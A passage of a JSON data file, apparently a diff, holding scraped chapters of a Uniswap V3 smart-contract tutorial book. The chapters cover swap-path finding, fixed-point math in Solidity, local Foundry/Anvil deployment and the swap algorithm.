Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer User Interface User Interface AutoRouter A Simple Router Design User Interface # After introducing swap paths, we can significantly simplify the internals of our web app. First of all, every swap now uses a path since path doesnt have to contain multiple pools. Second, its now easier to change the direction of swap: we can simply reverse the path. And, thanks to the unified pool address generation via CREATE2 and unique salts, we no longer need to store pool addresses and care about tokens order. However, we cannot integrate multi-pool swaps in the web app without adding one crucial algorithm. Ask yourself the question: How to find a path between two tokens that dont have a pool? AutoRouter # Uniswap implements whats called AutoRouter , an algorithm that find shortest path between two tokens. Moreover, it also splits one payment into multiple smaller payments to find the best average exchange rate. The profit can be as big as 36.84% compared to trades that are not split . This sounds great, however, were not going to build such an advanced algorithm. Instead, well build something simpler. A Simple Router Design # Suppose we have a whole bunch of pools: How do we find a shortest path between two tokens in such a mess? The most suitable solution for such kind of tasks is based on a graph . A graph is a data structure that consists of nodes (objects representing something) and edges (links connecting nodes). We can turn that mess of pools into a graph where each node is a token (that has a pool) and each edge is a pool this token belongs to. So a pool represented as a graph is two nodes connected with an edge. And the above pools become this graph: The biggest advantage graphs give us is the ability to traverse its nodes, from one node to another, to find paths. Specifically, well use A* search algorithm . Feel free learning about how the algorithm works, but, in our app, well use a library to make our life easier. The set of libraries well use is: ngraph.ngraph for building graphs and ngraph.path for finding paths (its the latter that implements A* search algorithm, as well as some others). In the UI app, lets create a path finder. This will be a class that, when instantiated, turns a list of pairs into a graph to later use the graph to find a shortest path between two tokens. import createGraph from 'ngraph.graph' ; import path from 'ngraph.path' ; class PathFinder { constructor ( pairs ) { this . graph = createGraph (); pairs . forEach (( pair ) => { this . graph . addNode ( pair . token0 . address ); this . graph . addNode ( pair . token1 . address ); this . graph . addLink ( pair . token0 . address , pair . token1 . address , pair . tickSpacing ); this . graph . addLink ( pair . token1 . address , pair . token0 . address , pair . tickSpacing ); }); this . finder = path . aStar ( this . graph ); } ... In the constructor, were creating an empty graph and fill it with linked nodes. Each node is a token address and links have associated data, which is tick spacingswell be able to extract this information from paths found by A*. After initializing a graph, we instantiate A* algorithm implementation. Next, we need to implement a function that will find a path between tokens and turn it into an array of token addresses and tick spacings: findPath ( fromToken , toToken ) { return this . finder . find ( fromToken , toToken ). reduce (( acc , node , i , orig ) => { if ( acc . length > 0 ) { acc . push ( this . graph . getLink ( orig [ i - 1 ]. id , node . id ). data ); } acc . push ( node . id ); return acc ; }, []). reverse (); } this.finder.find(fromToken, toToken) returns a list of nodes and, unfortunately, doesnt contain the information about edges between them (we store tick spacings in edges). Thus, were calling this.graph.getLink(previousNode, currentNode) to find edges. Now, whenever user changes input or output token, we can call pathFinder.findPath(token0, token1) to build a new path. User Interface AutoRouter A Simple Router Design", - "labels": [ - "Documentation" - ] - }, - { - "title": "What We\u2019ll Build #", - "html_url": "https://uniswapv3book.com/docs/introduction/what-we-will-build/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer What We'll Build What Well Build Smart Contracts Front-end Application What Well Build # The goal of the book is to build a clone of Uniswap V3. However, we wont build an exact copy. The main reason is that Uniswap is a big project with many nuances and auxiliary mechanicsbreaking down all of them would bloat the book and make it harder for readers to finish it. Instead, well build the core of Uniswap, its hardest and most important mechanisms. This includes liquidity management, swapping, fees, a periphery contract, a quoting contract, and an NFT contract. After that, Im sure, youll be able to read the original source code of Uniswap V3 and understand all the mechanics that were left outside of the scope of this book. Smart Contracts # After finishing the book, youll have these contracts implemented: UniswapV3Pool the core pool contract that implements liquidity management and swapping. This contract is very close to the original one , however, some implementation details are different and something is missed for simplicity. For example, our implementation will only handle exact input swaps, that is swaps with known input amounts. The original implementation also supports swaps with known output amounts (i.e. when you want to buy a certain amount of tokens). UniswapV3Factory the registry contract that deploys new pools and keeps a record of all deployed pools. This one is mostly identical to the original one besides the ability to change owner and fees. UniswapV3Manager a periphery contract that makes it easier to interact with the pool contract. This is a very simplified implementation of SwapRouter . Again, as you can see, I dont distinguish exact input and exact output swaps and implement only the former ones. UniswapV3Quoter is a cool contract that allows calculating swap prices on-chain. This is a minimal copy of both Quoter and QuoterV2 . Again, only exact input swaps are supported. UniswapV3NFTManager allows turning liquidity positions into NFTs. This is a simplified implementation of NonfungiblePositionManager . Front-end Application # For this book, I also built a simplified clone of the Uniswap UI . This is a very dumb clone, and my React and front-end skills are very poor, but it demonstrates how a front-end application can interact with smart contracts using Ethers.js and MetaMask. What Well Build Smart Contracts Front-end Application", - "labels": [ - "Documentation" - ] - }, - { - "title": "A Little Bit More on Fixed-point Numbers #", - "html_url": "https://uniswapv3book.com/docs/milestone_3/more-on-fixed-point-numbers/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer A Little Bit More on Fixed-point Numbers A Little Bit More on Fixed-point Numbers A Little Bit More on Fixed-point Numbers # In this bonus chapter, Id like to show you how to convert prices to ticks in Solidity. We dont need to do this in the main contracts, but its helpful to have such function in tests so we dont hardcode ticks and could write something like tick(5000) this makes code easier to read because its more convenient for us to think in prices, not tick indexes. Recall that, to find ticks, we use TickMath.getTickAtSqrtRatio function, which takes $\\sqrt{P}$ as its argument, and the $\\sqrt{P}$ is a Q64.96 fixed-point number. In smart contract tests, we need to check $\\sqrt{P}$ many times in many different test cases: mostly after mints and swaps. Instead of hard coding actual values, it might be cleaner to use a helper function like sqrtP(5000) that converts prices to $\\sqrt{P}$. So, whats the problem? The problem is that Solidity doesnt natively support the square root operation, which means we need a third-party library. Another problem is that prices are often relatively small numbers, like 10, 5000, 0.01, etc., and we dont want to lose precision when taking square root. You probably remember that we used PRBMath earlier in the book to implement multiply-then-divide operation that doesnt overflow during multiplication. If you check PRBMath.sol contract, youll notice sqrt function. However, the function doesnt support fixed-point numbers, as the function description says. You can give it a try and see that PRBMath.sqrt(5000) results in 70 , which is an integer number with lost precision (without the fractional part). If you check prb-math repo, youll see these contracts: PRBMathSD59x18.sol and PRBMathUD60x18.sol . Aha! These are fixed-point number implementations. Lets pick the latter and see how it goes: PRBMathUD60x18.sqrt(5000 * PRBMathUD60x18.SCALE) returns 70710678118654752440 . This looks interesting! PRBMathUD60x18 is a library that implements fixed-numbers with 18 decimal places in the fractional part. So the number we got is actually 70.710678118654752440 (use cast --from-wei 70710678118654752440 ). However, we cannot use this number! There are fixed-point numbers and fixed-point numbers. The Q64.96 fixed-point number used by Uniswap V3 is a binary number64 and 96 signify binary places . But PRBMathUD60x18 implements a decimal fixed-point number (UD in the contract name means unsigned, decimal), where 60 and 18 signify decimal places . This difference is quite significant. Lets see how to convert an arbitrary number (42) to either of the above fixed-point numbers: Q64.96: $42 * 2^{96}$ or, using bitwise left shift, 2 << 96 . The result is 3327582825599102178928845914112. UD60.18: $42 * 10^{18}$. The result is 42000000000000000000. Lets now see how to convert numbers with the fractional part (42.1337): Q64.96: $421337 * 2^{92}$ or 421337 << 92 . The result is 2086359769329537075540689212669952. UD60.18: $421337 * 10^{14}$. The result is 42133700000000000000. The second variant makes more sense to us because it uses the decimal system, which we learned in our childhood. The first variant uses the binary system and its much harder for us to read. But the biggest problem with different variants is that its hard to convert between them. This all means that we need a different library, one that implements a binary fixed-point number and sqrt function for it. Luckily, theres such library: abdk-libraries-solidity . The library implemented Q64.64, not exactly what we need (not 96 bits in the fractional part) but this is not a problem. Heres how we can implement the price-to-tick function using the new library: function tick ( uint256 price) internal pure returns ( int24 tick_) { tick_ = TickMath.getTickAtSqrtRatio( uint160 ( int160 ( ABDKMath64x64.sqrt( int128 ( int256 (price << 64 ))) << (FixedPoint96.RESOLUTION - 64 ) ) ) ); } ABDKMath64x64.sqrt takes Q64.64 numbers so we need to convert price to such number. The price is expected to not have the fractional part, so were shifting it by 64 bits. The sqrt function also returns a Q64.64 number but TickMath.getTickAtSqrtRatio takes a Q64.96 numberthis is why we need to shift the result of the square root operation by 96 - 64 bits to the left. \\[ \\] A Little Bit More on Fixed-point Numbers", - "labels": [ - "Documentation" - ] - }, - { - "title": "Deployment #", - "html_url": "https://uniswapv3book.com/docs/milestone_1/deployment/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Deployment Deployment Choosing Local Blockchain Network Running Local Blockchain First Deployment Interacting With Contracts, ABI Token Balance Current Tick and Price ABI Deployment # Alright, our pool contract is done. Now, lets see how we can deploy it to a local Ethereum network so we could use it from a front-end app later on. Choosing Local Blockchain Network # Smart contracts development requires running a local network, where you deploy your contracts during development and testing. This is what we want from such a network: Real blockchain. It must be a real Ethereum network, not an emulation. We want to be sure that our contract will work in the local network exactly as it would in the mainnet. Speed. We want our transactions to be minted immediately, so we could iterate quickly. Ether. To pay transaction fees, we need some ether, and we want the local network to allow us to generate any amount of ether. Cheat codes. Besides providing the standard API, we want a local network to allow us to do more. For example, we want to be able to deploy contracts at any address, execute transactions from any address (impersonate other address), change contract state directly, etc. There are multiple solutions as of today: Ganache from Truffle Suite. Hardhat , which is a development environment that includes a local node besides other useful things. Anvil from Foundry. All of these are viable solutions and each of them will satisfy our needs. Having said that, projects have been slowly migrating from Ganache (which is the oldest of the solutions) to Hardhat (which seems to be the most widely used these days), and now theres the new kid on the block: Foundry. Foundry is also the only of these solutions that uses Solidity for writing tests (the others use JavaScript). Moreover, Foundry also allows to write deployment scripts in Solidity. Thus, since weve decided to use Solidity everywhere, well use Anvil to run a local development blockchain, and well write deployment scripts in Solidity. Running Local Blockchain # Anvil doesnt require configuration, we can run it with a single command and itll do: $ anvil _ _ ( _ ) | | __ _ _ __ __ __ _ | | / _ ` | | ' _ \\ \\ \\ / / | | | | | ( _| | | | | | \\ V / | | | | \\_ _,_| |_| |_| \\_ / |_| |_| 0.1.0 ( d89f6af 2022-06-24T00:15:17.897682Z ) https://github.com/foundry-rs/foundry ... Listening on 127.0.0.1:8545 Anvil runs a single Ethereum node, so this is not really a network, but thats ok. By default, it creates 10 accounts with 10,000 ETH in each of them. It prints the addresses and related private keys when it startswell be using one of these addresses when deploying and interacting with the contract from UI. Anvil exposes JSON-RPC API interface at 127.0.0.1:8545 this interface is the main way of interacting with Ethereum nodes. You can find full API reference here . And this is how you can call it via curl : $ curl -X POST -H 'Content-Type: application/json' \\ --data '{\"id\":1,\"jsonrpc\":\"2.0\",\"method\":\"eth_chainId\"}' \\ http://127.0.0.1:8545 { \"jsonrpc\" : \"2.0\" , \"id\" :1, \"result\" : \"0x7a69\" } $ curl -X POST -H 'Content-Type: application/json' \\ --data '{\"id\":1,\"jsonrpc\":\"2.0\",\"method\":\"eth_getBalance\",\"params\":[\"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266\",\"latest\"]}' \\ http://127.0.0.1:8545 { \"jsonrpc\" : \"2.0\" , \"id\" :1, \"result\" : \"0x21e19e0c9bab2400000\" } You can also use cast (part of Foundry) for that: $ cast chain-id 31337 $ cast balance 0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266 10000000000000000000000 Now, lets deploy the pool and manager contracts to the local network. First Deployment # At its core, deploying a contract means: Compiling source code into EVM bytecode. Sending a transaction with the bytecode. Creating a new address, executing the constructor part of the bytecode, storing initialized bytecode on the address. This step is done automatically by an Ethereum node, when your contract creation transaction is mined. Deployment usually consists of multiple steps: preparing parameters, deploying auxiliary contracts, deploying main contracts, initializing contracts, etc. Scripting helps to automate these steps, and well write scripts in Solidity! Create scripts/DeployDevelopment.sol contract with this content: // SPDX-License-Identifier: UNLICENSED pragma solidity ^ 0 . 8 . 14 ; import \"forge-std/Script.sol\" ; contract DeployDevelopment is Script { function run () public { ... } } It looks very similar to the test contract, with only difference is that it inherits from Script contract, not from Test . And, by convention, we need to define run function which will be the body of our deployment script. In the run function, we define the parameters of the deployment first: uint256 wethBalance = 1 ether ; uint256 usdcBalance = 5042 ether ; int24 currentTick = 85176 ; uint160 currentSqrtP = 5602277097478614198912276234240 ; These are the same values we used before. Notice that were about to mint 5042 USDCthats 5000 USDC well provide as liquidity into the pool and 42 USDC well sell in a swap. Next, we define the set of steps that will be executed as the deployment transaction (well, each of the steps will be a separate transaction). For this, were using startBroadcast/endBroadcast cheat codes: vm.startBroadcast(); ... vm.stopBroadcast(); These cheat codes are provided by of Foundry . We got them in the script contract by inheriting from forge-std/Script.sol . Everything that goes after the broadcast() cheat code or between startBroadcast()/stopBroadcast() is converted to transactions and these transactions are sent to the node that executes the script. Between the broadcast cheat codes, well put the actual deployment steps. First, we need to deploy the tokens: ERC20Mintable token0 = new ERC20Mintable( \"Wrapped Ether\" , \"WETH\" , 18 ); ERC20Mintable token1 = new ERC20Mintable( \"USD Coin\" , \"USDC\" , 18 ); We cannot deploy the pool without having tokens, so we need to deploy them first. Since were deploying to a local development network, we need to deploy the tokens ourselves. In the mainnet and public test networks (Ropsten, Goerli, Sepolia), the tokens are already created. Thus, to deploy to those networks, well need to write network-specific deployment scripts. The next step is to deploy the pool contract: UniswapV3Pool pool = new UniswapV3Pool( address (token0), address (token1), currentSqrtP, currentTick ); Next goes Manager contract deployment: UniswapV3Manager manager = new UniswapV3Manager(); And finally, we can mint some amount of ETH and USDC to our address: token0.mint(msg.sender, wethBalance); token1.mint(msg.sender, usdcBalance); msg.sender in Foundry scripts is the address that sends transactions within the broadcast block. Well be able to set it when running scripts. Finally, at the end of the script, add some console.log calls to print the addresses of deployed contracts: console.log( \"WETH address\" , address (token0)); console.log( \"USDC address\" , address (token1)); console.log( \"Pool address\" , address (pool)); console.log( \"Manager address\" , address (manager)); Alright, lets run the script (ensure Anvil is running in another terminal window): $ forge script scripts/DeployDevelopment.s.sol --broadcast --fork-url http://localhost:8545 --private-key $PRIVATE_KEY --broadcast enables broadcasting of transactions. Its not enabled by default because not every script sends transactions. --fork-url sets the address of the node to send transactions to. --private-key sets the sender wallet: a private key is needed to sign transactions. You can pick any of the private keys printed by Anvil when its starting. I took the first one: 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80 Deployment takes several seconds. In the end, youll see a list of transactions it sent. Itll also save transactions receipts to broadcast folder. In Anvil, youll also see many lines with eth_sendRawTransaction , eth_getTransactionByHash , and eth_getTransactionReceipt after sending transactions to Anvil, Forge uses the JSON-RPC API to check their status and get transaction execution results (receipts). Congratulations! Youve just deployed a smart contract! Interacting With Contracts, ABI # Now, lets see how we can interact with the deployed contracts. Every contract exposes a set of public functions. In the case of the pool contract, these are mint(...) and swap(...) . Additionally, Solidity creates getters for public variables, so we can also call token0() , token1() , positions() , etc. However, since contracts are compiled bytecodes, function names are lost during compilation and not stored on blockchain . Instead, every function is identified by a selector, which is the first 4 bytes of the hash of the signature of the function. In pseudocode: hash(\"transfer(address,address,uint256)\")[0:4] EVM uses the Keccak hashing algorithm , which was standardized as SHA-3. Specifically, the hashing function in Solidity is keccak256 . Knowing this, lets make two calls to the deployed contracts: one will be a low-level call via curl , and one will be made using cast . Token Balance # Lets check the WETH balance of the deployer address. The signature of the function is balanceOf(address) (as defined in ERC-20 ). To find the ID of this function (its selector), well hash it and take the first four bytes: $ cast keccak \"balanceOf(address)\" | cut -b 1-10 0x70a08231 To pass the address, we simply append it to the function selector (and add left padding up to 32 digits since addresses take 32 bytes in function call data): 0x70a08231000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266 0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266 is the address were going to check balance of. This is our address, the first account in Anvil. Next, we execute eth_call JSON-RPC method to make the call. Notice that this doesnt require sending a transactionthis endpoint is used to read data from contracts. $params = '{\"from\":\"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266\",\"to\":\"0xe7f1725e7734ce288f8367e1bb143e90bb3f0512\",\"data\":\"0x70a08231000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266\"}' $curl -X POST -H 'Content-Type: application/json' \\ --data '{\"id\":1,\"jsonrpc\":\"2.0\",\"method\":\"eth_call\",\"params\":[' \" $params \" ',\"latest\"]}' \\ http://127.0.0.1:8545 { \"jsonrpc\" : \"2.0\" , \"id\" :1, \"result\" : \"0x00000000000000000000000000000000000000000000011153ce5e56cf880000\" } The to address is the USDC token. Its printed by the deployment script and it can be different in your case. Ethereum nodes return results as raw bytes, to parse them we need to know the type of a returned value. In the case of balanceOf function, the type of a returned value is uint256 . Using cast , we can convert it to a decimal number and then convert it to ethers: $ cast --to-dec 0x00000000000000000000000000000000000000000000011153ce5e56cf880000| cast --from-wei 5042.000000000000000000 The balance is correct! We minted 5042 USDC to our address. Current Tick and Price # The above example is a demonstration of low-level contract calls. Usually, you never do calls via curl and use a tool or library that makes it easier. And Cast can help us here again! Lets get the current price and tick of a pool using cast : $ cast call POOL_ADDRESS \"slot0()\" | xargs cast --abi-decode \"a()(uint160,int24)\" 5602277097478614198912276234240 85176 Nice! The first value is the current $\\sqrt{P}$ and the second value is the current tick. Since --abi-decode requires full function signature we have to specify a() even though we only want to decode function output. ABI # To simplify interaction with contracts, Solidity compiler can output ABI, Application Binary Interface. ABI is a JSON file that contains the description of all public methods and events of a contract. The goal of this file is to make it easier to encode function parameters and decode return values. To get ABI with Forge, use this command: $ forge inspect UniswapV3Pool abi Feel free skimming through the file to better understand its content. \\[ \\] Deployment Choosing Local Blockchain Network Running Local Blockchain First Deployment Interacting With Contracts, ABI Token Balance Current Tick and Price ABI", - "labels": [ - "Documentation" - ] - }, - { - "title": "Generalize Swapping #", - "html_url": "https://uniswapv3book.com/docs/milestone_2/generalize-swapping/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Generalize Swapping Generalize Swapping Filling Orders SwapMath Contract Finding Price by Swap Amount Finishing the Swap Testing Generalize Swapping # This will be the hardest chapter of this milestone. Before updating the code, we need to understand how the algorithm of swapping in Uniswap V3 works. You can think of a swap as of filling of an order: a user submits an order to buy a specified amount of tokens from a pool. The pool will use the available liquidity to convert the input amount into an output amount of the other token. If theres not enough liquidity in the current price range, itll try to find liquidity in other price ranges (using the function we implemented in the previous chapter). Were now going to implement this logic in the swap function, however going to stay only within the current price range for nowwell implement cross-tick swaps in the next milestone. function swap ( address recipient, bool zeroForOne, uint256 amountSpecified, bytes calldata data ) public returns ( int256 amount0, int256 amount1) { ... In swap function, we add two new parameters: zeroForOne and amountSpecified . zeroForOne is the flag that controls swap direction: when true , token0 is traded in for token1 ; when false, its the opposite. For example, if token0 is ETH and token1 is USDC, setting zeroForOne to true means buying USDC for ETH. amountSpecified is the amount of tokens user wants to sell. Filling Orders # Since, in Uniswap V3, liquidity is stored in multiple price ranges, Pool contract needs to find all liquidity thats required to fill an order from user. This is done via iterating over initialized ticks in a direction chosen by user. Before continuing, we need to define two new structures: struct SwapState { uint256 amountSpecifiedRemaining; uint256 amountCalculated; uint160 sqrtPriceX96; int24 tick; } struct StepState { uint160 sqrtPriceStartX96; int24 nextTick; uint160 sqrtPriceNextX96; uint256 amountIn; uint256 amountOut; } SwapState maintains current swaps state. amountSpecifiedRemaining tracks the remaining amount of tokens that needs to be bought by the pool. When its zero, the swap is done. amountCalculated is the out amount calculated by the contract. sqrtPriceX96 and tick are new current price and tick after a swap is done. StepState maintains current swap steps state. This structure tracks the state of one iteration of an order filling. sqrtPriceStartX96 tracks the price the iteration begins with. nextTick is the next initialized tick that will provide liquidity for the swap and sqrtPriceNextX96 is the price at the next tick. amountIn and amountOut are amounts that can be provided by the liquidity of the current iteration. After we implement cross-tick swaps (that is, swaps that happen across multiple price ranges), the idea of iterating will be clearer. // src/UniswapV3Pool.sol function swap (...) { Slot0 memory slot0_ = slot0; SwapState memory state = SwapState({ amountSpecifiedRemaining : amountSpecified, amountCalculated : 0 , sqrtPriceX96 : slot0_.sqrtPriceX96, tick : slot0_.tick }); ... Before filling an order, we initialize a SwapState instance. Well loop until amountSpecifiedRemaining is 0, which will mean that the pool has enough liquidity to buy amountSpecified tokens from user. ... while (state.amountSpecifiedRemaining > 0 ) { StepState memory step; step.sqrtPriceStartX96 = state.sqrtPriceX96; (step.nextTick, ) = tickBitmap.nextInitializedTickWithinOneWord( state.tick, 1 , zeroForOne ); step.sqrtPriceNextX96 = TickMath.getSqrtRatioAtTick(step.nextTick); In the loop, we set up a price range that should provide liquidity for the swap. The range is from state.sqrtPriceX96 to step.sqrtPriceNextX96 , where the latter is the price at the next initialized tick (as returned by nextInitializedTickWithinOneWord we know this function from a previous chapter). (state.sqrtPriceX96, step.amountIn, step.amountOut) = SwapMath .computeSwapStep( state.sqrtPriceX96, step.sqrtPriceNextX96, liquidity, state.amountSpecifiedRemaining ); Next, were calculating the amounts that can be provider by the current price range, and the new current price the swap will result in. state.amountSpecifiedRemaining -= step.amountIn; state.amountCalculated += step.amountOut; state.tick = TickMath.getTickAtSqrtRatio(state.sqrtPriceX96); } The final step in the loop is updating the SwapState. step.amountIn is the amount of tokens the price range can buy from user; step.amountOut is the related number of the other token the pool can sell to user. state.sqrtPriceX96 is the current price that will be set after the swap (recall that trading changes current price). SwapMath Contract # Lets look closer at SwapMath.computeSwapStep . // src/lib/SwapMath.sol function computeSwapStep ( uint160 sqrtPriceCurrentX96, uint160 sqrtPriceTargetX96, uint128 liquidity, uint256 amountRemaining ) internal pure returns ( uint160 sqrtPriceNextX96, uint256 amountIn, uint256 amountOut ) { ... This is the core logic of swapping. The function calculates swap amounts within one price range and respecting available liquidity. Itll return: the new current price and input and output token amounts. Even though the input amount is provided by user, we still calculate it to know how much of the user specified input amount was processed by one call to computeSwapStep . bool zeroForOne = sqrtPriceCurrentX96 >= sqrtPriceTargetX96; sqrtPriceNextX96 = Math.getNextSqrtPriceFromInput( sqrtPriceCurrentX96, liquidity, amountRemaining, zeroForOne ); By checking the price, we can determine the direction of the swap. Knowing the direction, we can calculate the price after swapping amountRemaining of tokens. Well return to this function below. After finding the new price, we can calculate input and output amounts of the swap using the function we already have ( the same functions we used to calculate token amounts from liquidity in the mint function): amountIn = Math.calcAmount0Delta( sqrtPriceCurrentX96, sqrtPriceNextX96, liquidity ); amountOut = Math.calcAmount1Delta( sqrtPriceCurrentX96, sqrtPriceNextX96, liquidity ); And swap the amounts if the direction is opposite: if ( ! zeroForOne) { (amountIn, amountOut) = (amountOut, amountIn); } Thats it for computeSwapStep ! Finding Price by Swap Amount # Lets now look at Math.getNextSqrtPriceFromInput the function calculates a $\\sqrt{P}$ given another $\\sqrt{P}$, liquidity, and input amount. It tells what the price will be after swapping the specified input amount of tokens, given the current price and liquidity. Good news is that we already know the formulas: recall how we calculated price_next in Python: # When amount_in is token0 price_next = int((liq * q96 * sqrtp_cur) // (liq * q96 + amount_in * sqrtp_cur)) # When amount_in is token1 price_next = sqrtp_cur + (amount_in * q96) // liq Were going to implement this in Solidity: // src/lib/Math.sol function getNextSqrtPriceFromInput ( uint160 sqrtPriceX96, uint128 liquidity, uint256 amountIn, bool zeroForOne ) internal pure returns ( uint160 sqrtPriceNextX96) { sqrtPriceNextX96 = zeroForOne ? getNextSqrtPriceFromAmount0RoundingUp( sqrtPriceX96, liquidity, amountIn ) : getNextSqrtPriceFromAmount1RoundingDown( sqrtPriceX96, liquidity, amountIn ); } The function handles swapping in both directions. Since calculations are different, well implement them in separate functions. function getNextSqrtPriceFromAmount0RoundingUp ( uint160 sqrtPriceX96, uint128 liquidity, uint256 amountIn ) internal pure returns ( uint160 ) { uint256 numerator = uint256 (liquidity) << FixedPoint96.RESOLUTION; uint256 product = amountIn * sqrtPriceX96; if (product / amountIn == sqrtPriceX96) { uint256 denominator = numerator + product; if (denominator >= numerator) { return uint160 ( mulDivRoundingUp(numerator, sqrtPriceX96, denominator) ); } } return uint160 ( divRoundingUp(numerator, (numerator / sqrtPriceX96) + amountIn) ); } In this function, were implementing two formulas. At the first return , it implements the same formula we implemented in Python. This is the most precise formula, but it can overflow when multiplying amountIn by sqrtPriceX96 . The formula is (we discussed it in Output Amount Calculation): $$\\sqrt{P_{target}} = \\frac{\\sqrt{P}L}{\\Delta x \\sqrt{P} + L}$$ When it overflows, we use an alternative formula, which is less precise: $$\\sqrt{P_{target}} = \\frac{L}{\\Delta x + \\frac{L}{\\sqrt{P}}}$$ Which is simply the previous formula with the numerator and the denominator divided by $\\sqrt{P}$ to get rid of the multiplication in the numerator. The other function has simpler math: function getNextSqrtPriceFromAmount1RoundingDown ( uint160 sqrtPriceX96, uint128 liquidity, uint256 amountIn ) internal pure returns ( uint160 ) { return sqrtPriceX96 + uint160 ((amountIn << FixedPoint96.RESOLUTION) / liquidity); } Finishing the Swap # Now, lets return to the swap function and finish it. By this moment, we have looped over next initialized ticks, filled amountSpecified specified by user, calculated input and amount amounts, and found new price and tick. Since, in this milestone, were implementing only swaps within one price range, this is enough. We now need to update contracts state, send tokens to user, and get tokens in exchange. if (state.tick != slot0_.tick) { (slot0.sqrtPriceX96, slot0.tick) = (state.sqrtPriceX96, state.tick); } First, we set new price and tick. Since this operation writes to contracts storage, we want to do it only if the new tick is different, to optimize gas consumption. (amount0, amount1) = zeroForOne ? ( int256 (amountSpecified - state.amountSpecifiedRemaining), - int256 (state.amountCalculated) ) : ( - int256 (state.amountCalculated), int256 (amountSpecified - state.amountSpecifiedRemaining) ); Next, we calculate swap amounts based on swap direction and the amounts calculated during the swap loop. if (zeroForOne) { IERC20(token1).transfer(recipient, uint256 ( - amount1)); uint256 balance0Before = balance0(); IUniswapV3SwapCallback(msg.sender).uniswapV3SwapCallback( amount0, amount1, data ); if (balance0Before + uint256 (amount0) > balance0()) revert InsufficientInputAmount(); } else { IERC20(token0).transfer(recipient, uint256 ( - amount0)); uint256 balance1Before = balance1(); IUniswapV3SwapCallback(msg.sender).uniswapV3SwapCallback( amount0, amount1, data ); if (balance1Before + uint256 (amount1) > balance1()) revert InsufficientInputAmount(); } Next, were exchanging tokens with user, depending on swap direction. This piece is identical to what we had in Milestone 2, only handling of the other swap direction was added. Thats it! Swapping is done! Testing # Test wont change significantly, we only need to pass amountSpecified and zeroForOne to swap function. Output amount will change insignificantly though, because its now calculated in Solidity. We can now test swapping in the opposite direction! Ill leave this for you, as a homework (just be sure to choose a small input amount so the whole swap can be handled by our single price range). Dont hesitate peeking at my tests if this feels difficult! \\[ \\] Generalize Swapping Filling Orders SwapMath Contract Finding Price by Swap 